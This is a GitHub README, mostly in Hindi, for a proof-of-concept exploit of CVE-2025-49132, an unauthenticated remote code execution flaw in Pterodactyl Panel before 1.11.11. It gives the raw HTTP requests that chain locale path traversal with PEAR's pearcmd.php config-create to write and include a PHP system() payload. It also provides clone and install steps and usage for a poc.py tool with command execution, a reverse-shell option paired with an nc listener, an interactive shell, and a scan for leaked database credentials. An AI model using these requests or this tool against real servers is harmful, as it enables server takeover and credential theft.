
CVE-2025-49132_PHP_PEAR_METHOD
यह रिपॉजिटरी CVE-2025-49132 के लिए एक proof-of-concept (PoC) एक्सप्लॉइट है, जो 1.11.11 से पहले के Pterodactyl पैनल संस्करणों में एक गंभीर अनधिकृत रिमोट कोड निष्पादन भेद्यता है।
Pterodactyl पैनल PHP में निर्मित एक मुफ्त, ओपन-सोर्स गेम सर्वर प्रबंधन पैनल है। यह भेद्यता एक अनधिकृत हमलावर को PHP PEAR की pearcmd.php कार्यक्षमता के साथ संयुक्त /locales/locale.json एंडपॉइंट के अनुचित हैंडलिंग के माध्यम से लक्षित सर्वर पर मनमाना सिस्टम कमांड निष्पादित करने की अनुमति देती है।
PHP PEAR (PHP एक्सटेंशन और एप्लिकेशन रिपॉजिटरी) पुन: प्रयोज्य PHP घटकों के लिए एक फ्रेमवर्क और वितरण प्रणाली है। यह एक कमांड-लाइन टूल (pearcmd.php) प्रदान करता है जिसका उपयोग PEAR पैकेज प्रबंधित करने के लिए किया जा सकता है।
pearcmd.php फ़ाइल URL पैरामीटर के माध्यम से कमांड संसाधित करती है, और जब पाथ ट्रैवर्सल के साथ संयुक्त किया जाता है, तो इसका उपयोग इसके लिए किया जा सकता है:
यह भेद्यता निम्न कारणों से मौजूद है:
/locales/locale.json में locale पैरामीटर उचित सत्यापन के बिना पाथ ट्रैवर्सल की अनुमति देता हैpearcmd.php स्क्रिप्ट +config-create कमांड स्वीकार करती है जो मनमानी PHP फ़ाइलें लिख सकती हैएक हमलावर यह कर सकता है:
/tmp में दुर्भावनापूर्ण PHP कोड लिखने के लिए config-create कमांड का दुरुपयोग करनायह एक्सप्लॉइट दो चरणों में काम करता है:
GET /locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&<?=system('id')?>+/tmp/payload.php HTTP/1.1
Host: target.com
विवरण:
+config-create+/ - PEAR की कॉन्फ़िग निर्माण कार्यक्षमता को लागू करता हैlocale=../../../../../../usr/share/php/PEAR - PEAR निर्देशिका के लिए पाथ ट्रैवर्सलnamespace=pearcmd - pearcmd.php फ़ाइल को लक्षित करता है<?=system('id')?>+/tmp/payload.php - PHP पेलोड और गंतव्य फ़ाइलGET /locales/locale.json?locale=../../../../../../tmp&namespace=payload HTTP/1.1
Host: target.com
विवरण:
locale=../../../../../../tmp - /tmp निर्देशिका के लिए पाथ ट्रैवर्सलnamespace=payload - payload.php को शामिल और निष्पादित करता हैएक्सप्लॉइट को URL में विशेष वर्णों (<, >, ?, =) को बिना एन्कोड किए भेजने की आवश्यकता होती है। यदि ये वर्ण URL-एन्कोडेड हैं:
<?=system('id')?> %3C%3F%3Dsystem%28%27id%27%29%3F%3E बन जाता हैgraph TD
A[Attacker] -->|1. Path Traversal Request| B[locale.json]
B -->|2. Traverse to PEAR| C[pearcmd.php]
C -->|3. config-create Command| D[Write PHP Payload]
D -->|4. Create File| E[payload.php]
E -->|5. File Created| F[Server Filesystem]
A -->|6. Execution Request| G[locale.json]
G -->|7. Traverse to tmp| E
E -->|8. Include and Execute| H[PHP Interpreter]
H -->|9. System Command| I[Shell Command]
I -->|10. Command Output| A
style A fill:#ff6b6b
style B fill:#4ecdc4
style C fill:#ffe66d
style E fill:#ff6b6b
style H fill:#ff6b6b
style I fill:#ff6b6b
sequenceDiagram
participant Attacker
participant Web Server
participant PEAR
participant Filesystem
participant PHP Engine
Attacker->>Web Server: GET locale.json with config-create
Web Server->>PEAR: Path Traversal to pearcmd
PEAR->>Filesystem: Create payload.php
Filesystem-->>Attacker: 200 OK
Attacker->>Web Server: GET locale.json with payload namespace
Web Server->>Filesystem: Path Traversal to payload.php
Filesystem->>PHP Engine: Include payload
PHP Engine->>PHP Engine: Execute system command
PHP Engine-->>Attacker: Command Output RCE
requests लाइब्रेरीgit clone https://github.com/xffsec/CVE-2025-49132_PEAR_METHOD.git
cd CVE-2025-49132_PEAR_METHOD
pip3 install -r requirements.txt
या मैन्युअल रूप से:
pip3 install requests
python3 poc.py -H <target_host> -c "<command>"
# On attacker machine, start listener
nc -lvnp 4444
# Execute exploit with reverse shell
python3 poc.py -H <target_host> -r <your_ip>:4444
python3 poc.py -H <target_host> --shell
python3 poc.py -H <target_host> --fuzz
python3 poc.py -H <target_host> --scan
कॉन्फ़िग लीक (डेटाबेस क्रेडेंशियल, ऐप कुंजी) के माध्यम से CVE-2025-49132 की जांच करता है।
python3 poc.py -H <target_host> -c "whoami" -p "/opt/pear"
python3 poc.py -H <target_host> -c "id" -v
विस्तृत प्रगति दिखाता है (पेलोड निर्माण, PEAR पथ, निष्पादन स्थिति)।
usage: poc.py [-h] -H HOST [-c COMMAND] [-r REVERSE_SHELL] [--shell] [--fuzz] [--scan]
[-p PEAR_PATH] [-e ENDPOINT] [--ssl] [--timeout TIMEOUT] [-v]
optional arguments:
-h, --help show this help message and exit
-H HOST, --host HOST Target host (e.g., 192.168.1.100 or example.com)
-c COMMAND Command to execute on target system
-r REVERSE_SHELL Reverse shell (format: LHOST:LPORT)
--shell Interactive pseudo-shell mode
--fuzz Fuzz for PEAR installation paths
--scan Scan target for vulnerability (config leaks)
-p PEAR_PATH Custom PEAR path (default: /usr/share/php/PEAR)
-e ENDPOINT Vulnerable endpoint (default: /locales/locale.json)
--ssl Use HTTPS
--timeout TIMEOUT Request timeout in seconds (default: 10)
-v, --verbose Verbose progress output
$ python3 poc.py -H panel.pterodactyl.htb -c "id"
[CVE-2025-49132] Pterodactyl Panel RCE via PHP PEAR
[+] Command Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
वर्बोज़ आउटपुट (पेलोड विवरण, PEAR पथ, आदि) के लिए -v का उपयोग करें।
# Terminal 1: Start listener
$ nc -lvnp 4444
listening on [any] 4444 ...